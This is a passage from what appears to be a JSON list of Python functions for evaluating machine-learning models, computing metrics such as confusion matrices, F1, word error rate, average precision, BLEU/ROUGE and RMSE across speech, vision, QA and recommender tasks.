plt.savefig(wo_norm_fig_path)\\n\\n # Plot normalized confusion matrix\\n plt.figure()\\n self.plot_confusion_matrix(conf_matrix, classes=self.brief_classes, ori_fmt='d', normalize=True,\\n title='Normalized confusion matrix')\\n\\n norm_fig_path = os.path.join(self.result_dir, '{}_w_norm.png'.format(self.result_prefix))\\n plt.savefig(norm_fig_path)\\n\\n else:\\n self.logger.warn('invalid total_correct_in_all')\\n\\n return metrics\",\n \"def evaluate_model(estimator: es.Estimator, speech_labels: List[str], entries, input_fn_eval) -> Dict[str, float]:\\n # Get predictions\\n predictions = estimator.predict(input_fn=input_fn_eval)\\n\\n # Get probabilities of each predicted class\\n probs = [pred[\\\"probabilities\\\"] for pred in predictions]\\n num_of_examples = len(probs)\\n targets = [entry[1] for entry in entries] # The ground truth transcript\\n\\n total_wer, total_cer = 0., 0.\\n greedy_decoder = decoder.DeepSpeechDecoder(speech_labels, blank_index=28)\\n for prob, target in zip(probs, targets):\\n decode = greedy_decoder.decode(prob)\\n total_cer += greedy_decoder.cer(decode, target)\\n total_wer += greedy_decoder.wer(decode, target)\\n\\n total_cer /= num_of_examples\\n total_wer /= num_of_examples\\n global_step = estimator.get_variable_value(tf.GraphKeys.GLOBAL_STEP)\\n eval_results = {\\n _WER_KEY: total_wer,\\n _CER_KEY: total_cer,\\n tf.GraphKeys.GLOBAL_STEP: global_step\\n }\\n return eval_results\",\n \"def eval_det(pred_all, gt_all, ovthresh=0.25, use_07_metric=False):\\n pred = {} # map {classname: pred}\\n gt = {} # map {classname: gt}\\n for img_id in pred_all.keys():\\n for classname, bbox, score in pred_all[img_id]:\\n if classname not in pred: pred[classname] = {}\\n if img_id not in pred[classname]:\\n pred[classname][img_id] = []\\n if classname not in gt: gt[classname] = {}\\n if img_id not in gt[classname]:\\n gt[classname][img_id] = []\\n pred[classname][img_id].append((bbox,score))\\n for img_id in gt_all.keys():\\n for classname, bbox in gt_all[img_id]:\\n if classname not in gt: gt[classname] = {}\\n if img_id not in gt[classname]:\\n gt[classname][img_id] = []\\n gt[classname][img_id].append(bbox)\\n\\n rec = {}\\n prec = {}\\n ap = {}\\n for classname in gt.keys():\\n print('Computing AP for class: ', classname)\\n rec[classname], prec[classname], ap[classname] = eval_det_cls(pred[classname], gt[classname], ovthresh, use_07_metric)\\n print(classname, ap[classname])\\n \\n return rec, prec, ap\",\n \"def aggregate(file_list, method):\\n\\n model.eval()\\n predictions = []\\n true_labels = []\\n\\n for file in file_list:\\n tile_paths, label = tile_dict[file]\\n\\n folder = classes[label]\\n\\n def add_folder(tile_path):\\n if tile_path == '':\\n return ''\\n else:\\n return folder + '/' + tile_path\\n\\n # Add the folder for the class name in front\\n add_folder_v = np.vectorize(add_folder)\\n tile_paths = add_folder_v(tile_paths)\\n\\n # Get the probability array for the file\\n prob_v = np.vectorize(get_tile_probability, otypes=[np.ndarray])\\n probabilities = prob_v(tile_paths)\\n\\n\\n \\\"\\\"\\\"\\n imgSize = probabilities.shape()\\n newShape = (imgSize[0], imgSize[1], 3)\\n probabilities = np.reshape(np.stack(probabilities.flat), newShape)\\n \\\"\\\"\\\"\\n\\n if method == 'average':\\n probabilities = np.stack(probabilities.flat)\\n prediction = np.nanmean(probabilities, axis = 0)\\n\\n elif method == 'max':\\n probabilities = np.stack(probabilities.flat)\\n probabilities = probabilities[~np.isnan(probabilities).all(axis=1)]\\n votes = np.nanargmax(probabilities, axis=1)\\n out = np.array([ sum(votes == 0) , sum(votes == 1) , sum(votes == 2)])\\n prediction = out / out.sum()\\n\\n else:\\n raise ValueError('Method not valid')\\n\\n predictions.append(prediction)\\n true_labels.append(label)\\n\\n return np.array(predictions), np.array(true_labels)\",\n \"def compute_metrics(self, results: Sequence[Dict]) -> Dict:\\n\\n preds = []\\n gts = []\\n for result in results:\\n preds.append(result['pred_labels'])\\n gts.append(result['gt_labels'])\\n preds = torch.cat(preds)\\n gts = torch.cat(gts)\\n\\n assert preds.max() < self.num_classes\\n assert gts.max() < self.num_classes\\n\\n cared_labels = preds.new_tensor(self.cared_labels, dtype=torch.long)\\n\\n hits = (preds == gts)[None, :]\\n preds_per_label = cared_labels[:, None] == preds[None, :]\\n gts_per_label = cared_labels[:, None] == gts[None, :]\\n\\n tp = (hits * preds_per_label).float()\\n fp = (~hits * preds_per_label).float()\\n fn = (~hits * gts_per_label).float()\\n\\n result = {}\\n if 'macro' in self.mode:\\n result['macro_f1'] = self._compute_f1(\\n tp.sum(-1), fp.sum(-1), fn.sum(-1))\\n if 'micro' in self.mode:\\n result['micro_f1'] = self._compute_f1(tp.sum(), fp.sum(), fn.sum())\\n\\n return result\",\n \"def compute_precision(gold_dict, src_word2ind, trg_word2ind, src_words, trg_words, scores, args, BATCH_SIZE=20, verbose = False):\\n oov = set()\\n correct = 0\\n n,m = scores.shape # The actual size of mapping computed, might be smaller that total size of dict\\n\\n precisions = {}\\n if verbose:\\n print('@{:2} {:10} {:30} {:30}'.format('k', 'Src','Predicted','Gold'))\\n print_row = '{:2} {:10} {:30} {:30} {}'\\n\\n for k in [1,5,10]:\\n correct = 0\\n for src_idx,tgt_idx in gold_dict.items():\\n if src_idx > n or np.all([e>m for e in tgt_idx]):#Src word not in mapping\\n oov.add(src_idx)\\n continue\\n else:\\n knn = np.argpartition(scores[src_idx,:], -k)[-k:] # argpartition returns top k not in order\\n knn_sort = knn[np.argsort(-scores[src_idx,knn])] # With - to get descending order\\n if set(knn_sort).intersection(tgt_idx):\\n correct +=1\\n correct_string = ' '\\n else:\\n correct_string = 'X'\\n if verbose:\\n src_str = src_words[src_idx]\\n pred_str = ','.join([trg_words[k] for k in knn_sort])\\n gold_str = ','.join([trg_words[k] for k in tgt_idx])\\n print(print_row.format(k,src_str,pred_str,gold_str,correct_string))\\n\\n\\n coverage = len(gold_dict.keys()) / (len(gold_dict.keys()) + len(oov))\\n if verbose:\\n print('Coverage: {:7.2%} Precision @{:2}:{:7.2%}'.format(coverage, k, correct / len(gold_dict)))\\n precisions[k] = correct / len(gold_dict)\\n return precisions\",\n \"def evaluate(self, eval_batches, result_dir=None, result_prefix=None, save_full_info=False):\\n pred_answers, ref_answers = [], []\\n total_loss, total_num = 0, 0\\n for b_itx, batch in enumerate(eval_batches):\\n feed_dict = {self.p: batch['passage_token_ids'],\\n self.q: batch['question_token_ids'],\\n self.p_char: batch['passage_char_ids'],\\n self.q_char: batch['question_char_ids'],\\n self.p_length: batch['passage_length'],\\n self.q_length: batch['question_length'],\\n self.start_label: batch['start_id'],\\n self.end_label: batch['end_id'],\\n self.dropout_keep_prob: 1.0}\\n start_probs, end_probs, loss = self.sess.run([self.start_probs,\\n self.end_probs, self.loss], feed_dict)\\n\\n total_loss += loss * len(batch['raw_data'])\\n total_num += len(batch['raw_data'])\\n\\n padded_p_len = len(batch['passage_token_ids'][0])\\n for sample, start_prob, end_prob in zip(batch['raw_data'], start_probs, end_probs):\\n\\n best_answer = self.find_best_answer(sample, start_prob, end_prob, padded_p_len)\\n if save_full_info:\\n sample['pred_answers'] = [best_answer]\\n pred_answers.append(sample)\\n else:\\n pred_answers.append({'question_id': sample['question_id'],\\n 'question_type': sample['question_type'],\\n 'answers': [best_answer],\\n 'entity_answers': [[]],\\n 'yesno_answers': []})\\n if 'answers' in sample:\\n ref_answers.append({'question_id': sample['question_id'],\\n 'question_type': sample['question_type'],\\n 'answers': sample['answers'],\\n 'entity_answers': [[]],\\n 'yesno_answers': []})\\n\\n if result_dir is not None and result_prefix is not None:\\n result_file = os.path.join(result_dir, result_prefix + '.json')\\n with open(result_file, 'w') as fout:\\n for pred_answer in pred_answers:\\n fout.write(json.dumps(pred_answer, ensure_ascii=False) + '\\\\n')\\n\\n self.logger.info('Saving {} results to {}'.format(result_prefix, result_file))\\n\\n # this average loss is invalid on test set, since we don't have true start_id and end_id\\n ave_loss = 1.0 * total_loss / total_num\\n # compute the bleu and rouge scores if reference answers is provided\\n if len(ref_answers) > 0:\\n pred_dict, ref_dict = {}, {}\\n for pred, ref in zip(pred_answers, ref_answers):\\n question_id = ref['question_id']\\n if len(ref['answers']) > 0:\\n pred_dict[question_id] = normalize(pred['answers'])\\n ref_dict[question_id] = normalize(ref['answers'])\\n bleu_rouge = compute_bleu_rouge(pred_dict, ref_dict)\\n else:\\n bleu_rouge = None\\n return ave_loss, bleu_rouge\",\n \"def evaluate(gold: List[Instance], pred: List[Instance], exact: bool) -> Dict[str, Tuple[int, int, int]]:\\n # Initialize to zeros\\n gold_score = np.zeros(len(gold))\\n pred_score = np.zeros(len(pred))\\n\\n for idx, (pos, label) in enumerate(gold):\\n for idx2, (pos2, label2) in enumerate(pred):\\n if label == label2:\\n if overlap(pos, pos2, exact):\\n gold_score[idx] = 1\\n pred_score[idx2] = 1\\n # This ensures we only count one pred correctly for each gold.\\n if gold_score[idx]:\\n continue\\n\\n gold_labels = np.asarray([x[1] for x in gold])\\n pred_labels = np.asarray([x[1] for x in pred])\\n\\n # Get the label set.\\n label_set = set(gold_labels) | set(pred_labels)\\n\\n scores = {}\\n for label in label_set:\\n subset_gold = gold_score[gold_labels == label]\\n subset_index = pred_score[pred_labels == label]\\n tp = subset_gold.sum()\\n fn = len(subset_gold) - tp\\n fp = (subset_index == 0).sum()\\n scores[label] = np.array([tp, fp, fn])\\n\\n return scores\",\n \"def _compute_metrics(hits_or_lcs: int, pred_len: int, target_len: int) ->Dict[str, Tensor]:\\n precision = hits_or_lcs / pred_len\\n recall = hits_or_lcs / target_len\\n if precision == recall == 0.0:\\n return dict(precision=tensor(0.0), recall=tensor(0.0), fmeasure=tensor(0.0))\\n fmeasure = 2 * precision * recall / (precision + recall)\\n return dict(precision=tensor(precision), recall=tensor(recall), fmeasure=tensor(fmeasure))\",\n \"def evaluate_tracking(self) -> Dict[str, Any]:\\n eval_scenes = create_splits_scenes(verbose=False)[self.eval_set]\\n for scene in tqdm(eval_scenes, disable=not self.verbose):\\n scene = self.nusc.get('scene', self.scene_name2tok[scene])\\n cur_token, last_token = scene['first_sample_token'], scene['last_sample_token']\\n pred_sem, pred_inst, label_sem, label_inst = [None], [None], [None], [None]\\n\\n while True:\\n cur_sample = self.nusc.get('sample', cur_token)\\n sd_token = cur_sample['data']['LIDAR_TOP']\\n\\n # Load the ground truth labels for the point cloud, filter evaluation classes.\\n gt_label_file = os.path.join(self.nusc.dataroot, self.nusc.get('panoptic', sd_token)['filename'])\\n panoptic_label = load_bin_file(gt_label_file, type='panoptic')\\n label_sem.append(self.mapper.convert_label(panoptic_label // 1000))\\n label_sem = label_sem[-2:]\\n label_inst.append(panoptic_label)\\n label_inst = label_inst[-2:]\\n\\n # Load predictions for the point cloud, filter evaluation classes.\\n pred_file = os.path.join(self.results_folder, 'panoptic', self.eval_set, sd_token + '_panoptic.npz')\\n panoptic_pred = load_bin_file(pred_file, type='panoptic')\\n pred_sem.append(panoptic_pred // 1000)\\n pred_sem = pred_sem[-2:]\\n pred_inst.append(panoptic_pred)\\n pred_inst = pred_inst[-2:]\\n\\n # Get the confusion matrix between the ground truth and predictions. Update the confusion matrix for\\n # the sample data into the confusion matrix for the eval set.\\n self.evaluator['tracking'].add_batch(scene['name'], pred_sem, pred_inst, label_sem, label_inst)\\n if cur_token == last_token:\\n break\\n cur_token = cur_sample['next']\\n\\n pat, mean_pq, mean_tq = self.evaluator['tracking'].get_pat()\\n mean_ptq, class_all_ptq, mean_sptq, class_all_sptq = self.evaluator['tracking'].get_ptq()\\n mean_iou, class_all_iou = self.evaluator['tracking'].getSemIoU()\\n lstq, s_assoc = self.evaluator['tracking'].get_lstq()\\n mean_motsa, mean_s_motsa, mean_motsp = self.evaluator['tracking'].get_motsa()\\n\\n results = self.wrap_result_mopt(pat=pat,\\n mean_pq=mean_pq,\\n mean_tq=mean_tq,\\n mean_ptq=mean_ptq,\\n class_all_ptq=class_all_ptq,\\n mean_sptq=mean_sptq,\\n class_all_sptq=class_all_sptq,\\n mean_iou=mean_iou,\\n class_all_iou=class_all_iou,\\n lstq=lstq,\\n s_assoc=s_assoc,\\n mean_motsa=mean_motsa,\\n mean_s_motsa=mean_s_motsa,\\n mean_motsp=mean_motsp)\\n\\n return results\",\n \"def evaluate(model, test_files):\\n print(\\\"Running predictions.\\\")\\n models = load_model(model)\\n predictions = predict(models, test_files)\\n\\n # # write predictions to file\\n # write_predictions(\\\"evaluate_out.json\\\",predictions)\\n evaluate_individual(predictions, test_files, models)\\n evaluate_overall(predictions)\",\n \"def run_main():\\n # Matching lines against a matcher function.\\n matched_lines = match_file(file_names, matcher)\\n\\n # Will contain data sorted by file.\\n binned_data = {}\\n\\n # Looking through the lines that were inserted into the metrics file via the metrics component.\\n for key in matched_lines:\\n\\n # Grabbing matched lines by the file or orgination.\\n buffer = matched_lines[key]\\n\\n # This will contain dictionaries converted from JSON.\\n data = []\\n\\n # Loop through the collection, appending data converted from JSON entries.\\n for line in buffer:\\n data.append(extract_data(line))\\n\\n # Sort the data by file.\\n binned_data[key] = sort_data(data)\\n\\n # Output the final results.\\n generate_statistics(binned_data)\\n return 0\",\n \"def eval(self):\\n target_truth_labels = self.get_target_labels()\\n for key in self.id_uncertainty_measures.keys():\\n # deep copy needed as we mutate confidence values later on\\n decision_fn_value = np.concatenate((copy.deepcopy(self.id_uncertainty_measures[key]),\\n copy.deepcopy(self.ood_uncertainty_measures[key])),\\n axis=0)\\n # negation needed for confidence, as confidence is indicator of label=0 samples\\n # i.e for correct classified samples.\\n # But we need scores for label=1 samples i.e misclassified samples\\n # to be higher, so we negate.\\n if key == UncertaintyMeasuresEnum.CONFIDENCE or key == UncertaintyMeasuresEnum.PRECISION:\\n decision_fn_value *= -1.0\\n\\n aupr, auroc = ClassifierPredictionEvaluator.compute_pr_roc_curves(\\n decision_fn_value, target_truth_labels, self.result_dir, key._value_)\\n\\n with open(os.path.join(self.result_dir, 'results.txt'), 'a') as f:\\n f.write('AUPR using ' + key._value_ + \\\": \\\" +\\n str(np.round(aupr * 100.0, 1)) + '\\\\n')\\n f.write('AUROC using ' + key._value_ + \\\": \\\" +\\n str(np.round(auroc * 100.0, 1)) + '\\\\n')\",\n \"def eval_detection(gt_mask, r, n_classes=1):\\n ids = np.unique(r['class_ids'])\\n merged_masks = {}\\n qualities = dict([(i,0) for i in range(1, n_classes+1)])\\n\\n for i in ids:\\n merged_masks[i] = (np.zeros_like(r['masks'][:,:,0]) > 0)\\n n_masks = r['masks'].shape[-1]\\n for c in range(n_masks):\\n if i != r['class_ids'][c] or r['scores'][c] < .7:\\n continue\\n\\n mask = r['masks'][:,:,c]\\n merged_masks[i] |= mask\\n\\n gt_mask_i = (gt_mask[:,:,i-1] > 0)\\n intersection = gt_mask_i & merged_masks[i]\\n union = gt_mask_i | merged_masks[i]\\n qualities[i] = np.sum(intersection) / np.sum(union)\\n \\n return qualities, merged_masks\",\n \"def build_eval_metrics(self, predict_ids, labels, nwords, params):\\n raise NotImplementedError()\",\n \"def evaluate_iterations(predictions, gold, result_collector, condition):\\n for iteration_id, texts in predictions.items():\\n texts_in_iteration = sorted(texts)\\n gold_trees = [gold[tid] for tid in texts_in_iteration]\\n pred_trees = [texts[tid] for tid in texts_in_iteration]\\n for level, scores in eval_prediction(gold_trees, pred_trees):\\n result_collector.add_result(condition, iteration_id, level, scores)\",\n \"def make_metrics(self, predictions):\\n\\n pred_idx = []\\n pred_classes = []\\n\\n target_idx = []\\n target_classes = []\\n target_count = len(self._dataset.class_idx2text)\\n\\n for data_id, pred in predictions.items():\\n target = self._dataset.get_ground_truth(data_id)\\n\\n pred_idx.append(pred[\\\"class_idx\\\"])\\n pred_classes.append(self._dataset.class_idx2text[pred[\\\"class_idx\\\"]])\\n\\n target_idx.append(target[\\\"class_idx\\\"])\\n target_classes.append(target[\\\"class_text\\\"])\\n\\n metrics = {\\n \\\"accuracy\\\": simple_accuracy(pred_idx, target_idx),\\n }\\n\\n if target_count == 2:\\n # binary class\\n f1_metric = f1(pred_idx, target_idx)\\n metrics.update(f1_metric)\\n\\n matthews_corr_metric = matthews_corr(pred_idx, target_idx)\\n metrics.update(matthews_corr_metric)\\n return metrics\",\n \"def evaluate_model(self, predictions, expected, bypass_data_to_eval):\\n\\n result = []\\n for i, unique_id in enumerate(np.squeeze(expected[\\\"unique_ids\\\"])):\\n start_logits = predictions['tf_electra_for_question_answering'][i]\\n start_top_index = predictions['tf_electra_for_question_answering_1'\\n ][i]\\n end_logits = predictions['tf_electra_for_question_answering_2'][i]\\n end_top_index = predictions['tf_electra_for_question_answering_3'][i\\n ]\\n cls_logits = predictions['tf_electra_for_question_answering_4'][i]\\n\\n result.append(\\n SquadResult(\\n unique_id,\\n start_logits.tolist(),\\n end_logits.tolist(),\\n start_top_index=start_top_index.tolist(),\\n end_top_index=end_top_index.tolist(),\\n cls_logits=cls_logits.tolist(),\\n )\\n )\\n\\n dev_features = bypass_data_to_eval[\\\"dev_features\\\"]\\n dev_examples = bypass_data_to_eval[\\\"dev_examples\\\"]\\n\\n answers, nbest_answers = get_answers(\\n dev_examples, dev_features, result, self._args\\n )\\n\\n output_prediction_file = os.path.join(\\n self._args.output_dir, \\\"predictions.json\\\"\\n )\\n output_nbest_file = os.path.join(\\n self._args.output_dir, \\\"nbest_predictions.json\\\"\\n )\\n\\n with open(output_prediction_file, \\\"w\\\") as f:\\n f.write(json.dumps(answers, indent=4) + \\\"\\\\n\\\")\\n with open(output_nbest_file, \\\"w\\\") as f:\\n f.write(json.dumps(nbest_answers, indent=4) + \\\"\\\\n\\\")\\n\\n if self._args.version_2_with_negative:\\n dev_file = \\\"dev-v2.0.json\\\"\\n eval_file = \\\"evaluate-v2.0.py\\\"\\n else:\\n dev_file = \\\"dev-v1.1.json\\\"\\n eval_file = \\\"evaluate-v1.1.py\\\"\\n\\n command_str = (\\n f\\\"{sys.executable} {os.path.join(self._args.data_dir, eval_file)} \\\"\\n f\\\"{os.path.join(self._args.data_dir, dev_file)} \\\"\\n f\\\"{output_prediction_file}\\\"\\n )\\n\\n logging.debug(f\\\"\\\\nExecuting: `{command_str}`\\\\n\\\")\\n\\n eval_out = subprocess.check_output(shlex.split(command_str))\\n\\n # scores: {'exact_match': 87.06717123935667, 'f1': 92.78048326711645}\\n scores = json.loads(eval_out.decode(\\\"UTF-8\\\").strip())\\n\\n logging.debug(\\\"scores:\\\", scores)\\n\\n metric_units = \\\"f1\\\"\\n\\n return scores[metric_units], metric_units\",\n \"def test(self, test_fn, eval_metrics):\\n # Load gold and predict\\n X, Y = self.load_dataset(test_fn)\\n y = self.model.predict(X)\\n\\n # Get most probable predictions and flatten\\n Y = RNN_model.consolidate_labels(self.transform_output_probs(Y).flatten())\\n y = RNN_model.consolidate_labels(self.transform_output_probs(y).flatten())\\n\\n # Run evaluation metrics and report\\n # TODO: is it possible to compare without the padding?\\n ret = []\\n for (metric_name, metric_func) in eval_metrics:\\n ret.append((metric_name, metric_func(Y, y)))\\n logging.debug(\\\"calculating {}\\\".format(ret[-1]))\\n\\n for (metric_name, metric_val) in ret:\\n logging.info(\\\"{}: {:.4f}\\\".format(metric_name,\\n metric_val))\\n return Y, y, ret\",\n \"def evaluate(self, eval_batches, result_dir=None, result_prefix=None, save_full_info=False):\\n pred_answers, ref_answers = [], []\\n total_loss, total_num = 0, 0\\n for b_itx, batch in enumerate(eval_batches):\\n feed_dict = {self.p: batch['passage_token_ids'],\\n self.q: batch['question_token_ids'],\\n self.p_length: batch['passage_length'],\\n self.q_length: batch['question_length'],\\n self.start_label: batch['start_id'],\\n self.end_label: batch['end_id'],\\n self.dropout_keep_prob: 1.0,\\n self.em: batch['exact_match']}\\n batch_size = len(batch['start_id'])\\n padded_p_len = len(batch['passage_token_ids'][0])\\n padded_p_num = len(batch['passage_token_ids']) / batch_size\\n para_ids = []\\n for start_id in batch['start_id']:\\n para_ids.append(start_id // padded_p_len)\\n feed_dict[self.para_label] = para_ids\\n content_label = np.zeros([batch_size, padded_p_num * padded_p_len], dtype=int)\\n for s_idx, (start_id, end_id) in enumerate(zip(batch['start_id'], batch['end_id'])):\\n content_label[s_idx, start_id: end_id+1] = 1\\n feed_dict[self.content_label] = content_label\\n start_probs, end_probs, content_scores, verif_scores, loss = self.sess.run([self.start_probs, self.end_probs,\\n self.concat_content_score, self.reshaped_ans_verif_score,\\n self.loss], feed_dict)\\n\\n total_loss += loss * len(batch['raw_data'])\\n total_num += len(batch['raw_data'])\\n\\n padded_p_len = len(batch['passage_token_ids'][0])\\n for s_idx, sample in enumerate(batch['raw_data']):\\n start_prob = start_probs[s_idx]\\n end_prob = end_probs[s_idx]\\n content_score = content_scores[s_idx]\\n verif_score = verif_scores[s_idx]\\n best_answer = self.find_best_answer_with_verif(sample, start_prob, end_prob,\\n content_score, verif_score, padded_p_len)\\n if save_full_info:\\n sample['pred_answers'] = [best_answer]\\n pred_answers.append(sample)\\n else:\\n pred_answers.append({'question_id': sample['question_id'],\\n 'question_type': sample['question_type'],\\n 'answers': [best_answer],\\n 'entity_answers': [[]],\\n 'yesno_answers': []})\\n if 'answers' in sample:\\n ref_answers.append({'question_id': sample['question_id'],\\n 'question_type': sample['question_type'],\\n 'answers': sample['answers'],\\n 'entity_answers': [[]],\\n 'yesno_answers': []})\\n\\n if result_dir is not None and result_prefix is not None:\\n result_file = os.path.join(result_dir, result_prefix + '.json')\\n with open(result_file, 'w') as fout:\\n for pred_answer in pred_answers:\\n fout.write(json.dumps(pred_answer, encoding='utf8', ensure_ascii=False) + '\\\\n')\\n\\n self.logger.info('Saving {} results to {}'.format(result_prefix, result_file))\\n\\n # this average loss is invalid on test set, since we don't have true start_id and end_id\\n ave_loss = 1.0 * total_loss / total_num\\n # compute the bleu and rouge scores if reference answers is provided\\n if len(ref_answers) > 0:\\n pred_dict, ref_dict = {}, {}\\n for pred, ref in zip(pred_answers, ref_answers):\\n question_id = ref['question_id']\\n if len(ref['answers']) > 0:\\n pred_dict[question_id] = normalize(pred['answers'])\\n ref_dict[question_id] = normalize(ref['answers'])\\n bleu_rouge = compute_bleu_rouge(pred_dict, ref_dict)\\n else:\\n bleu_rouge = None\\n return ave_loss, bleu_rouge\",\n \"def evaluate_model(predictions_table: pd.DataFrame, ratings_table: pd.DataFrame,\\n test_table: pd.DataFrame, viewed_table: pd.DataFrame,\\n all_predictions_table: pd.DataFrame) -> Dict:\\n\\n viewed = viewed_table.to_numpy()\\n predictions = predictions_table.to_numpy()\\n all_predictions = all_predictions_table.to_numpy()\\n ratings = ratings_table.to_numpy()\\n test = test_table.to_numpy(copy=True)\\n test_demeaned = test - np.mean(test, axis=1).reshape(-1, 1)\\n test_set = test_table.apply(lambda x: x != 0.0).astype(int).to_numpy()\\n\\n result = dict()\\n\\n # Test set evaluation\\n test_predictions = np.multiply(all_predictions, test_set)\\n diff = np.subtract(test_predictions, test_demeaned)\\n rmse = np.sqrt(np.mean(np.square(diff)))\\n result.update({\\\"RMSE\\\": rmse})\\n mae = np.mean(np.absolute(diff))\\n result.update({\\\"MAE\\\": mae})\\n\\n # overall evaluation\\n movies_recommended = set()\\n i = 0\\n for index, row in predictions_table.iterrows():\\n if i > 10000: break\\n else: i += 1\\n\\n labels = row.nlargest(20).keys().tolist()\\n for movie in labels:\\n movies_recommended.update(movie)\\n\\n result.update({\\\"Coverage\\\": len(movies_recommended)})\\n\\n return result\",\n \"def eval(self, test_file_path: str) -> Tuple[List[Dict[str, float]], classification_report]:\\n # TODO write code to extract features from test_file_path and \\n # test the model\\n pass\",\n \"def evaluate(prediction_folder, label_folder, verbose=False):\\n prediction_tasks = next(os.walk(prediction_folder))[1]\\n label_tasks = next(os.walk(label_folder))[1]\\n # prediction_tasks = label_tasks = ['mlqa', 'tydiqa', 'xquad']\\n\\n detailed_scores = {}\\n for task, langs in TASK2LANGS.items():\\n if task in prediction_tasks and task in label_tasks:\\n suffix = \\\"json\\\" if task in GROUP2TASK[\\\"qa\\\"] else \\\"tsv\\\"\\n # collect scores over all languages\\n score = defaultdict(dict)\\n for lg in langs:\\n prediction_file = os.path.join(prediction_folder, task, f\\\"test-{lg}.{suffix}\\\")\\n label_file = os.path.join(label_folder, task, f\\\"test-{lg}.{suffix}\\\")\\n score_lg = evaluate_one_task(prediction_file, label_file, task, language=lg)\\n for metric in score_lg:\\n score[metric][lg] = score_lg[metric]\\n # average over all languages\\n avg_score = {}\\n for m in score:\\n avg_score[f'avg_{m}'] = sum(score[m].values()) / len(score[m])\\n score.update(avg_score)\\n if task in GROUP2TASK[\\\"qa\\\"]:\\n score['avg_metric'] = (score['avg_exact_match'] + score['avg_f1']) / 2\\n elif 'avg_f1' in score:\\n score['avg_metric'] = score['avg_f1']\\n elif 'avg_accuracy' in score:\\n score['avg_metric'] = score['avg_accuracy']\\n detailed_scores[task] = score\\n if verbose:\\n avg_result = ', '.join(['{}={:.1f}'.format(k, v) for k, v in score.items() if k.startswith('avg')])\\n print('- Evaluate {}:\\\\t{}'.format(task, avg_result))\\n\\n # Display logic:\\n overall_scores = {}\\n all_tasks = set(TASK2LANGS.keys())\\n available_tasks = set(detailed_scores.keys())\\n\\n # If scores of all tasks are available, show the overall score in the main table\\n if all_tasks == available_tasks:\\n overall_scores['all_task'] = sum(detailed_scores[task]['avg_metric'] for task in all_tasks) / len(all_tasks)\\n\\n # If scores of all tasks in a sub group are available, show the score in the sub table\\n for group, group_tasks in GROUP2TASK.items():\\n if len(set(group_tasks) - available_tasks) == 0:\\n overall_scores[group] = sum(detailed_scores[task]['avg_metric'] for task in group_tasks) / len(group_tasks)\\n\\n return overall_scores, detailed_scores\",\n \"def main(\\n input_dir, radius, bins, num_evaluations\\n):\\n registration_results = io.read_registration_results(\\n os.path.join(input_dir, 'reg_result.txt')\\n )\\n\\n # init output\\n df_output = io.init_output()\\n\\n for i, r in progressbar.progressbar(\\n list(\\n registration_results.iterrows()\\n )\\n ):\\n # for interactive visualization:\\n if i >= num_evaluations:\\n exit(0)\\n \\n # parse point cloud index:\\n idx_target = int(r['idx1'])\\n idx_source = int(r['idx2'])\\n\\n # load point clouds:\\n pcd_source = io.read_point_cloud_bin(\\n os.path.join(input_dir, 'point_clouds', f'{idx_source}.bin')\\n )\\n pcd_source, idx_inliers = pcd_source.remove_radius_outlier(nb_points=4, radius=radius)\\n search_tree_source = o3d.geometry.KDTreeFlann(pcd_source)\\n\\n pcd_target = io.read_point_cloud_bin(\\n os.path.join(input_dir, 'point_clouds', f'{idx_target}.bin')\\n )\\n pcd_target, idx_inliers = pcd_target.remove_radius_outlier(nb_points=4, radius=radius)\\n search_tree_target = o3d.geometry.KDTreeFlann(pcd_target)\\n\\n # detect keypoints:\\n keypoints_source = detect(pcd_source, search_tree_source, radius)\\n keypoints_target = detect(pcd_target, search_tree_target, radius)\\n\\n # create descriptions:\\n pcd_source_keypoints = pcd_source.select_by_index(keypoints_source['id'].values)\\n fpfh_source_keypoints = o3d.registration.compute_fpfh_feature(\\n pcd_source_keypoints, \\n o3d.geometry.KDTreeSearchParamHybrid(radius=5*radius, max_nn=100)\\n ).data\\n\\n pcd_target_keypoints = pcd_target.select_by_index(keypoints_target['id'].values)\\n fpfh_target_keypoints = o3d.registration.compute_fpfh_feature(\\n pcd_target_keypoints, \\n o3d.geometry.KDTreeSearchParamHybrid(radius=5*radius, max_nn=100)\\n ).data\\n\\n # generate matches:\\n distance_threshold_init = 1.5 * radius\\n distance_threshold_final = 1.0 * radius\\n\\n # RANSAC for initial estimation:\\n init_result = ransac_match(\\n pcd_source_keypoints, pcd_target_keypoints, \\n fpfh_source_keypoints, fpfh_target_keypoints, \\n ransac_params = RANSACParams(\\n max_workers=5,\\n num_samples=4, \\n max_correspondence_distance=distance_threshold_init,\\n max_iteration=200000, \\n max_validation=500,\\n max_refinement=30\\n ),\\n checker_params = CheckerParams(\\n max_correspondence_distance=distance_threshold_init,\\n max_edge_length_ratio=0.9,\\n normal_angle_threshold=None\\n ) \\n )\\n\\n # exact ICP for refined estimation:\\n final_result = exact_match(\\n pcd_source, pcd_target, search_tree_target,\\n init_result.transformation,\\n distance_threshold_final, 60\\n )\\n\\n # visualize:\\n visualize.show_registration_result(\\n pcd_source_keypoints, pcd_target_keypoints, init_result.correspondence_set,\\n pcd_source, pcd_target, final_result.transformation\\n )\\n\\n # add result:\\n io.add_to_output(df_output, idx_target, idx_source, final_result.transformation)\\n\\n # write output:\\n io.write_output(\\n os.path.join(input_dir, 'reg_result_yaogefad.txt'),\\n df_output\\n )\",\n \"def analyze(self,filenames,output_dir,diffs_only=False):\\n def okey(value):\\n r = max((['PASS', 'ERROR', 'FAIL', 'UNTESTED', 'SKIPPED'].index(r.outcome) for r in tests[value] if r))\\n if r == 0:\\n return value\\n else:\\n return r\\n def overall_outcome_weight(results):\\n return max((['PASS', 'ERROR', 'FAIL', 'UNTESTED', 'SKIPPED'].index(r.outcome) for r in results if r))\\n\\n # pass 0: Load results\\n results = [RunResults.load(filename) for filename in filenames]\\n # step 1: Check if all results are for the same version\\n version = results[0].version\\n for result in results:\\n if result.version != version:\\n raise Exception('Analyze: Results for the same FB version required.')\\n # step 2: Sort results into groups (platform, cpuarch, arch, run)\\n results.sort(key=operator.attrgetter('platform','cpuarch','arch','sequence'))\\n\\n # pass 1: Create list of tests with results\\n tests = {} # Dictionary of all tests found in results; Test ID: list of results\\n for result in results:\\n column = results.index(result)\\n for test_id,test_result in result.items():\\n tests.setdefault(test_id,len(results)*[None])[column] = test_result\\n\\n # pass 2: Analyze results for each tests that didn't pass in all runs\\n test_details = {}\\n # step 1: Collect details for tests that didn't pass\\n for test_id,test_results in tests.items():\\n for test_result in test_results:\\n if test_result and test_result.outcome != Result.PASS:\\n l = test_details.setdefault(test_id,list())\\n result = results[test_results.index(test_result)]\\n 